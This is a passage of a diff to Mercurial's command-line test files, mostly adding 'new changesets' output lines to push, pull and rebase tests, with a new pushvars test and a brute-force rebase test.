   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B2.t b/tests/test-push-checkheads-pruned-B2.t
--- a/tests/test-push-checkheads-pruned-B2.t
+++ b/tests/test-push-checkheads-pruned-B2.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B3.t b/tests/test-push-checkheads-pruned-B3.t
--- a/tests/test-push-checkheads-pruned-B3.t
+++ b/tests/test-push-checkheads-pruned-B3.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B4.t b/tests/test-push-checkheads-pruned-B4.t
--- a/tests/test-push-checkheads-pruned-B4.t
+++ b/tests/test-push-checkheads-pruned-B4.t
@@ -54,6 +54,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B5.t b/tests/test-push-checkheads-pruned-B5.t
--- a/tests/test-push-checkheads-pruned-B5.t
+++ b/tests/test-push-checkheads-pruned-B5.t
@@ -57,6 +57,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets d73caddc5533:821fb21d0dd2
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B8.t b/tests/test-push-checkheads-pruned-B8.t
--- a/tests/test-push-checkheads-pruned-B8.t
+++ b/tests/test-push-checkheads-pruned-B8.t
@@ -55,6 +55,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A2.t b/tests/test-push-checkheads-superceed-A2.t
--- a/tests/test-push-checkheads-superceed-A2.t
+++ b/tests/test-push-checkheads-superceed-A2.t
@@ -52,6 +52,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A3.t b/tests/test-push-checkheads-superceed-A3.t
--- a/tests/test-push-checkheads-superceed-A3.t
+++ b/tests/test-push-checkheads-superceed-A3.t
@@ -55,6 +55,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A6.t b/tests/test-push-checkheads-superceed-A6.t
--- a/tests/test-push-checkheads-superceed-A6.t
+++ b/tests/test-push-checkheads-superceed-A6.t
@@ -59,6 +59,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A7.t b/tests/test-push-checkheads-superceed-A7.t
--- a/tests/test-push-checkheads-superceed-A7.t
+++ b/tests/test-push-checkheads-superceed-A7.t
@@ -59,6 +59,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 'desc(C0)'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D2.t b/tests/test-push-checkheads-unpushed-D2.t
--- a/tests/test-push-checkheads-unpushed-D2.t
+++ b/tests/test-push-checkheads-unpushed-D2.t
@@ -57,6 +57,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D3.t b/tests/test-push-checkheads-unpushed-D3.t
--- a/tests/test-push-checkheads-unpushed-D3.t
+++ b/tests/test-push-checkheads-unpushed-D3.t
@@ -56,6 +56,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D4.t b/tests/test-push-checkheads-unpushed-D4.t
--- a/tests/test-push-checkheads-unpushed-D4.t
+++ b/tests/test-push-checkheads-unpushed-D4.t
@@ -73,6 +73,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D5.t b/tests/test-push-checkheads-unpushed-D5.t
--- a/tests/test-push-checkheads-unpushed-D5.t
+++ b/tests/test-push-checkheads-unpushed-D5.t
@@ -62,6 +62,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 'desc(C0)'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-http.t b/tests/test-push-http.t
--- a/tests/test-push-http.t
+++ b/tests/test-push-http.t
@@ -61,6 +61,7 @@
   > [hooks]
   > changegroup = sh -c "printenv.py changegroup 0"
   > pushkey = sh -c "printenv.py pushkey 0"
+  > txnclose-phase.test = echo "phase-move: \$HG_NODE:  \$HG_OLDPHASE -> \$HG_PHASE"
   > EOF
   $ req
   pushing to http://localhost:$HGPORT/
@@ -69,7 +70,8 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  draft -> public
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> public
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
@@ -86,7 +88,8 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  draft -> public
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> public
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
@@ -103,7 +106,8 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  draft -> public
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> public
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
@@ -117,6 +121,8 @@
   > allow_push = *
   > [hooks]
   > prepushkey = sh -c "printenv.py prepushkey 1"
+  > [devel]
+  > legacy.exchange=phases
   > EOF
   $ req
   pushing to http://localhost:$HGPORT/
@@ -137,6 +143,8 @@
 
   $ cat >> .hg/hgrc <<EOF
   > prepushkey = sh -c "printenv.py prepushkey 0"
+  > [devel]
+  > legacy.exchange=
   > EOF
   $ req
   pushing to http://localhost:$HGPORT/
@@ -145,7 +153,6 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: prepushkey hook: HG_BUNDLE2=1 HG_HOOKNAME=prepushkey HG_HOOKTYPE=prepushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_OLD=1 HG_PENDING=$TESTTMP/test HG_PHASES_MOVED=1 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
   repository tip rolled back to revision 0 (undo serve)
@@ -172,4 +179,20 @@
   % serve errors
   [255]
 
+  $ cat > .hg/hgrc <<EOF
+  > [web]
+  > push_ssl = false
+  > allow_push = *
+  > [experimental]
+  > httppostargs=true
+  > EOF
+  $ req
+  pushing to http://localhost:$HGPORT/
+  searching for changes
+  remote: adding changesets
+  remote: adding manifests
+  remote: adding file changes
+  remote: added 1 changesets with 1 changes to 1 files
+  % serve errors
+
   $ cd ..
diff --git a/tests/test-push-race.t b/tests/test-push-race.t
--- a/tests/test-push-race.t
+++ b/tests/test-push-race.t
@@ -15,7 +15,6 @@
   > Client with the extensions will create a file when ready and get stuck until
   > a file is created."""
   > 
-  > import atexit
   > import errno
   > import os
   > import time
@@ -23,18 +22,29 @@
   > from mercurial import (
   >     exchange,
   >     extensions,
+  >     registrar,
+  > )
+  > 
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > 
+  > configitem('delaypush', 'ready-path',
+  >     default=None,
+  > )
+  > configitem('delaypush', 'release-path',
+  >     default=None,
   > )
   > 
   > def delaypush(orig, pushop):
   >     # notify we are done preparing
   >     ui = pushop.repo.ui
-  >     readypath = ui.config('delaypush', 'ready-path', None)
+  >     readypath = ui.config('delaypush', 'ready-path')
   >     if readypath is not None:
   >         with open(readypath, 'w') as r:
   >             r.write('foo')
   >         ui.status('wrote ready: %s\n' % readypath)
   >     # now wait for the other process to be done
-  >     watchpath = ui.config('delaypush', 'release-path', None)
+  >     watchpath = ui.config('delaypush', 'release-path')
   >     if watchpath is not None:
   >         ui.status('waiting on: %s\n' % watchpath)
   >         limit = 100
@@ -51,7 +61,7 @@
   >                 except OSError as exc:
   >                     if exc.errno != errno.ENOENT:
   >                         raise
-  >             atexit.register(delete)
+  >             ui.atexit(delete)
   >     return orig(pushop)
   > 
   > def uisetup(ui):
@@ -98,7 +108,7 @@
   > [phases]
   > publish = no
   > [experimental]
-  > evolution = all
+  > evolution=true
   > [alias]
   > graph = log -G --rev 'sort(all(), "topo")'
   > EOF
@@ -138,6 +148,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 842e2fac6304
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg clone ssh://user@dummy/server client-other
@@ -146,6 +157,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 842e2fac6304
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -230,6 +242,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets a9149a1428e2
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -238,6 +251,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets a9149a1428e2
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -246,6 +260,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 98217d5a1659
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -349,6 +364,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 59e76faf78bd
   (run 'hg update' to get a working copy)
 
 #endif
@@ -368,6 +384,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 59e76faf78bd
   (run 'hg update' to get a working copy)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -376,6 +393,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 51c544a58128
   (run 'hg update' to get a working copy)
 
   $ hg -R server graph
@@ -504,6 +522,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d9e379a8c432
   (run 'hg update' to get a working copy)
 
 #endif
@@ -523,6 +542,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d9e379a8c432
   (run 'hg update' to get a working copy)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -531,6 +551,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d603e2c0cdd7
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -672,6 +693,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 833be552cfe6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
 #endif
@@ -691,6 +713,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 833be552cfe6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -699,6 +722,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 75d69cba5402
   (run 'hg heads' to see heads)
 
   $ hg -R server graph
@@ -854,6 +878,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 89420bf00fae
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
 #endif
@@ -874,6 +899,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 89420bf00fae
   (run 'hg heads' to see heads)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -882,6 +908,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets b35ed749f288
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -999,6 +1026,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cac2cead0ff0
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1007,6 +1035,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cac2cead0ff0
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1015,6 +1044,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files
+  new changesets be705100c623
   (run 'hg update' to get a working copy)
 
   $ hg -R server graph
@@ -1139,6 +1169,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files
+  new changesets 866a66e18630
   (run 'hg update' to get a working copy)
 
 (creates named branch on head)
@@ -1160,6 +1191,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files
+  new changesets 866a66e18630:55a6f1c01b48
   (run 'hg update' to get a working copy)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1168,6 +1200,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 6fd3090135df:55a6f1c01b48
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -1316,6 +1349,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets b0ee3d6f51bc
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1324,6 +1358,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets b0ee3d6f51bc
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1332,6 +1367,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d0a85b2252a9:1b58ee3f79e5
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -1484,6 +1520,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 2efd43f7b5ba:3d57ed3c1091
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1492,6 +1529,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 2efd43f7b5ba:3d57ed3c1091
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1500,6 +1538,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets de7b9e2ba3f6
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -1668,6 +1707,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   obsoleted 1 changesets
+  new changesets 720c5163ecf6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1678,6 +1718,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   obsoleted 1 changesets
+  new changesets 720c5163ecf6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1686,6 +1727,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files
+  new changesets a98a47d8b85b
   (run 'hg update' to get a working copy)
 
   $ hg -R server debugobsolete
diff --git a/tests/test-push-warn.t b/tests/test-push-warn.t
--- a/tests/test-push-warn.t
+++ b/tests/test-push-warn.t
@@ -60,6 +60,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 1c9246a22a0a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg push ../a
diff --git a/tests/test-push.t b/tests/test-push.t
--- a/tests/test-push.t
+++ b/tests/test-push.t
@@ -11,6 +11,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ for i in 0 1 2 3 4 5 6 7 8; do
@@ -137,6 +138,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg verify
diff --git a/tests/test-pushvars.t b/tests/test-pushvars.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pushvars.t
@@ -0,0 +1,71 @@
+Setup
+
+  $ PYTHONPATH=$TESTDIR/..:$PYTHONPATH
+  $ export PYTHONPATH
+
+  $ cat > $TESTTMP/pretxnchangegroup.sh << EOF
+  > #!/bin/sh
+  > env | egrep "^HG_USERVAR_(DEBUG|BYPASS_REVIEW)" | sort
+  > exit 0
+  > EOF
+  $ cat >> $HGRCPATH << EOF
+  > [hooks]
+  > pretxnchangegroup = sh $TESTTMP/pretxnchangegroup.sh
+  > [experimental]
+  > bundle2-exp = true
+  > EOF
+
+  $ hg init repo
+  $ hg clone -q repo child
+  $ cd child
+
+Test pushing vars to repo with pushvars.server not set
+
+  $ echo b > a
+  $ hg commit -Aqm a
+  $ hg push --pushvars "DEBUG=1" --pushvars "BYPASS_REVIEW=true"
+  pushing to $TESTTMP/repo (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files
+
+Setting pushvars.sever = true and then pushing.
+
+  $ echo [push] >> $HGRCPATH
+  $ echo "pushvars.server = true" >> $HGRCPATH
+  $ echo b >> a
+  $ hg commit -Aqm a
+  $ hg push --pushvars "DEBUG=1" --pushvars "BYPASS_REVIEW=true"
+  pushing to $TESTTMP/repo (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files
+  HG_USERVAR_BYPASS_REVIEW=true
+  HG_USERVAR_DEBUG=1
+
+Test pushing var with empty right-hand side
+
+  $ echo b >> a
+  $ hg commit -Aqm a
+  $ hg push --pushvars "DEBUG="
+  pushing to $TESTTMP/repo (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files
+  HG_USERVAR_DEBUG=
+
+Test pushing bad vars
+
+  $ echo b >> a
+  $ hg commit -Aqm b
+  $ hg push --pushvars "DEBUG"
+  pushing to $TESTTMP/repo (glob)
+  searching for changes
+  abort: unable to parse variable 'DEBUG', should follow 'KEY=VALUE' or 'KEY=' format
+  [255]
diff --git a/tests/test-qrecord.t b/tests/test-qrecord.t
--- a/tests/test-qrecord.t
+++ b/tests/test-qrecord.t
@@ -79,6 +79,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
   
   (some details hidden, use --verbose to show complete help)
 
@@ -152,6 +153,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
       --mq                  operate on patch repository
   
   (some details hidden, use --verbose to show complete help)
diff --git a/tests/test-rebase-abort.t b/tests/test-rebase-abort.t
--- a/tests/test-rebase-abort.t
+++ b/tests/test-rebase-abort.t
@@ -266,7 +266,7 @@
   
 
   $ hg rebase -d master -r foo
-  rebasing 3:6c0f977a22d8 "C" (tip foo)
+  rebasing 3:6c0f977a22d8 "C" (foo tip)
   merging c
   warning: conflicts while merging c! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
@@ -306,7 +306,7 @@
   created new head
 
   $ hg rebase -d @ -b foo --tool=internal:fail
-  rebasing 2:070cf4580bb5 "b2" (tip foo)
+  rebasing 2:070cf4580bb5 "b2" (foo tip)
   unresolved conflicts (see hg resolve, then hg rebase --continue)
   [1]
 
diff --git a/tests/test-rebase-base.t b/tests/test-rebase-base-flag.t
rename from tests/test-rebase-base.t
rename to tests/test-rebase-base-flag.t
--- a/tests/test-rebase-base.t
+++ b/tests/test-rebase-base-flag.t
@@ -1,3 +1,6 @@
+Test the "--base" flag of the rebase command. (Tests unrelated to the "--base"
+flag should probably live in somewhere else)
+
   $ cat >> $HGRCPATH <<EOF
   > [extensions]
   > rebase=
diff --git a/tests/test-rebase-bookmarks.t b/tests/test-rebase-bookmarks.t
--- a/tests/test-rebase-bookmarks.t
+++ b/tests/test-rebase-bookmarks.t
@@ -97,7 +97,7 @@
   $ hg book W@diverge
 
   $ hg rebase -s W -d .
-  rebasing 3:41acb9dca9eb "D" (tip W)
+  rebasing 3:41acb9dca9eb "D" (W tip)
   saved backup bundle to $TESTTMP/a4/.hg/strip-backup/41acb9dca9eb-b35a6a63-rebase.hg (glob)
 
   $ hg bookmarks
@@ -209,7 +209,7 @@
   $ hg rebase -r '"bisect"^^::"bisect"^' -r bisect -d Z
   rebasing 5:345c90f326a4 "bisect"
   rebasing 6:f677a2907404 "bisect2"
-  rebasing 7:325c16001345 "bisect3" (tip bisect)
+  rebasing 7:325c16001345 "bisect3" (bisect tip)
   saved backup bundle to $TESTTMP/a3/.hg/strip-backup/345c90f326a4-b4840586-rebase.hg (glob)
 
 Bookmark and working parent get moved even if --keep is set (issue5682)
diff --git a/tests/test-rebase-brute-force.t b/tests/test-rebase-brute-force.t
new file mode 100644
--- /dev/null
+++ b/tests/test-rebase-brute-force.t
@@ -0,0 +1,56 @@
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > drawdag=$TESTDIR/drawdag.py
+  > bruterebase=$TESTDIR/bruterebase.py
+  > [experimental]
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
+  > EOF
+  $ init() {
+  >   N=`expr ${N:-0} + 1`
+  >   cd $TESTTMP && hg init repo$N && cd repo$N
+  >   hg debugdrawdag
+  > }
+
+Source looks like "N"
+
+  $ init <<'EOS'
+  > C D
+  > |\|
+  > A B Z
+  > EOS
+
+  $ hg debugbruterebase 'all()-Z' Z
+     A: A':Z
+     B: B':Z
+    AB: A':Z B':Z
+     C: ABORT: cannot rebase 3:a35c07e8a2a4 without moving at least one of its parents
+    AC: A':Z C':A'B
+    BC: B':Z C':B'A
+   ABC: A':Z B':Z C':A'B'
+     D: D':Z
+    AD: A':Z D':Z
+    BD: B':Z D':B'
+   ABD: A':Z B':Z D':B'
+    CD: ABORT: cannot rebase 3:a35c07e8a2a4 without moving at least one of its parents
+   ACD: A':Z C':A'B D':Z
+   BCD: B':Z C':B'A D':B'
+  ABCD: A':Z B':Z C':A'B' D':B'
+
+Moving backwards
+
+  $ init <<'EOS'
+  > C
+  > |\
+  > A B
+  > |
+  > Z
+  > EOS
+  $ hg debugbruterebase 'all()-Z' Z
+    B: B':Z
+    A: 
+   BA: B':Z
+    C: ABORT: cannot rebase 3:b8d7149b562b without moving at least one of its parents
+   BC: B':Z C':B'A
+   AC: 
+  BAC: B':Z C':B'A
diff --git a/tests/test-rebase-collapse.t b/tests/test-rebase-collapse.t
--- a/tests/test-rebase-collapse.t
+++ b/tests/test-rebase-collapse.t
@@ -20,6 +20,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -641,6 +642,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 11 changes to 7 files (+1 heads)
+  new changesets f447d5abf5ea:338e84e2e558
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up -q tip
   $ hg tglog
@@ -792,7 +794,7 @@
   $ hg book foo
   $ hg rebase -d 0 -r "1::2" --collapse -m collapsed
   rebasing 1:6d8d9f24eec3 "a"
-  rebasing 2:1cc73eca5ecc "b" (tip foo)
+  rebasing 2:1cc73eca5ecc "b" (foo tip)
   saved backup bundle to $TESTTMP/collapseaddremove/.hg/strip-backup/6d8d9f24eec3-77d3b6e2-rebase.hg (glob)
   $ hg log -G --template "{rev}: '{desc}' {bookmarks}"
   @  1: 'collapsed' foo
diff --git a/tests/test-rebase-conflicts.t b/tests/test-rebase-conflicts.t
--- a/tests/test-rebase-conflicts.t
+++ b/tests/test-rebase-conflicts.t
@@ -71,6 +71,21 @@
   unresolved conflicts (see hg resolve, then hg rebase --continue)
   [1]
 
+  $ hg status --config commands.status.verbose=1
+  M common
+  ? common.orig
+  # The repository is in an unfinished *rebase* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     common
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg rebase --continue
+  # To abort:                   hg rebase --abort
+  
+
 Try to continue without solving the conflict:
 
   $ hg rebase --continue
@@ -141,6 +156,7 @@
   adding manifests
   adding file changes
   added 11 changesets with 8 changes to 3 files (+1 heads)
+  new changesets 24797d4f68de:2f2496ddf49d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd issue4041
